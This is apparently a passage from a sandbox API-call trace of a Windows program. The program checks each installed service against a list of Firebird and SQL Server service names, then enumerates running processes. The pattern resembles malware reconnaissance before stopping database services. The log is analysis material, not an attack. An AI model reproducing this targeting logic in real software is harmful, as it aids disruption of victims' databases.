	[0158.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0158.979] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0158.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0158.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0158.979] lstrlenW (lpString="Dhcp") returned 4
	[0158.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0158.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0158.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0158.979] lstrlenW (lpString="Dnscache") returned 8
	[0158.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0158.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0158.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0158.979] lstrlenW (lpString="DPS") returned 3
	[0158.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0158.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0158.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0158.979] lstrlenW (lpString="DusmSvc") returned 7
	[0158.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0158.980] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0158.980] lstrlenW (lpString="EventLog") returned 8
	[0158.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0158.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0158.980] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0158.980] lstrlenW (lpString="EventSystem") returned 11
	[0158.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0158.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0158.980] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0158.980] lstrlenW (lpString="FontCache") returned 9
	[0158.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0158.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0158.980] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0158.980] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0158.980] lstrlenW (lpString="gpsvc") returned 5
	[0158.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0158.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0158.980] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0158.980] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0158.980] lstrlenW (lpString="iphlpsvc") returned 8
	[0158.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.980] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0158.980] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0158.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0158.980] lstrlenW (lpString="KeyIso") returned 6
	[0158.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0158.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0158.980] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0158.981] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0158.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0158.981] lstrlenW (lpString="LanmanServer") returned 12
	[0158.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0158.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0158.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0158.981] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0158.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0158.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0158.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0158.981] lstrlenW (lpString="lfsvc") returned 5
	[0158.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0158.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0158.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0158.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0158.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0158.981] lstrlenW (lpString="lmhosts") returned 7
	[0158.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0158.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0158.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0158.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0158.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0158.981] lstrlenW (lpString="LSM") returned 3
	[0158.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0158.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0158.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0158.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0158.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0158.981] lstrlenW (lpString="MpsSvc") returned 6
	[0158.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.981] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0158.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0158.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0158.982] lstrlenW (lpString="NcbService") returned 10
	[0158.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0158.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0158.982] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0158.982] lstrlenW (lpString="netprofm") returned 8
	[0158.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0158.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0158.982] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0158.982] lstrlenW (lpString="NgcSvc") returned 6
	[0158.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0158.982] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0158.982] lstrlenW (lpString="NlaSvc") returned 6
	[0158.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0158.982] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0158.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0158.982] lstrlenW (lpString="nsi") returned 3
	[0158.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0158.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0158.983] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0158.983] lstrlenW (lpString="PcaSvc") returned 6
	[0158.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0158.983] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0158.983] lstrlenW (lpString="PlugPlay") returned 8
	[0158.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0158.983] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0158.983] lstrlenW (lpString="Power") returned 5
	[0158.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0158.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0158.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0158.983] lstrlenW (lpString="ProfSvc") returned 7
	[0158.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0158.983] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0158.983] lstrlenW (lpString="RpcEptMapper") returned 12
	[0158.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0158.983] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0158.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0158.983] lstrlenW (lpString="RpcSs") returned 5
	[0158.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0158.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0158.984] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0158.984] lstrlenW (lpString="SamSs") returned 5
	[0158.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0158.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0158.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0158.984] lstrlenW (lpString="Schedule") returned 8
	[0158.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0158.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0158.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0158.984] lstrlenW (lpString="SecurityHealthService") returned 21
	[0158.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0158.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0158.984] lstrlenW (lpString="SENS") returned 4
	[0158.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0158.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0158.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0158.984] lstrlenW (lpString="ShellHWDetection") returned 16
	[0158.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0158.984] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0158.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0158.984] lstrlenW (lpString="Spooler") returned 7
	[0158.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0158.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0158.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0158.985] lstrlenW (lpString="StateRepository") returned 15
	[0158.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0158.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0158.985] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0158.985] lstrlenW (lpString="SysMain") returned 7
	[0158.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0158.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0158.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0158.985] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0158.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0158.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0158.985] lstrlenW (lpString="Themes") returned 6
	[0158.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0158.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0158.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0158.985] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0158.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0158.985] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0158.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0158.985] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0158.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0158.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0158.986] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0158.986] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0158.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a5c8 | out: hHeap=0x710000) returned 1
	[0158.986] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278
	[0158.991] Process32FirstW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0158.992] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0158.992] lstrlenW (lpString="System") returned 6
	[0158.992] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0158.992] lstrlenW (lpString="smss.exe") returned 8
	[0158.992] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.993] lstrlenW (lpString="csrss.exe") returned 9
	[0158.993] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0158.993] lstrlenW (lpString="wininit.exe") returned 11
	[0158.993] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.994] lstrlenW (lpString="csrss.exe") returned 9
	[0158.994] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0158.994] lstrlenW (lpString="winlogon.exe") returned 12
	[0158.994] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0158.995] lstrlenW (lpString="services.exe") returned 12
	[0158.995] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0158.995] lstrlenW (lpString="lsass.exe") returned 9
	[0158.995] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0158.995] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0158.995] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0158.996] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0158.996] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.996] lstrlenW (lpString="svchost.exe") returned 11
	[0158.996] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.997] lstrlenW (lpString="svchost.exe") returned 11
	[0158.997] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0158.997] lstrlenW (lpString="dwm.exe") returned 7
	[0158.997] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.059] lstrlenW (lpString="svchost.exe") returned 11
	[0159.059] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.059] lstrlenW (lpString="svchost.exe") returned 11
	[0159.059] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.060] lstrlenW (lpString="svchost.exe") returned 11
	[0159.060] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.083] lstrlenW (lpString="svchost.exe") returned 11
	[0159.084] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
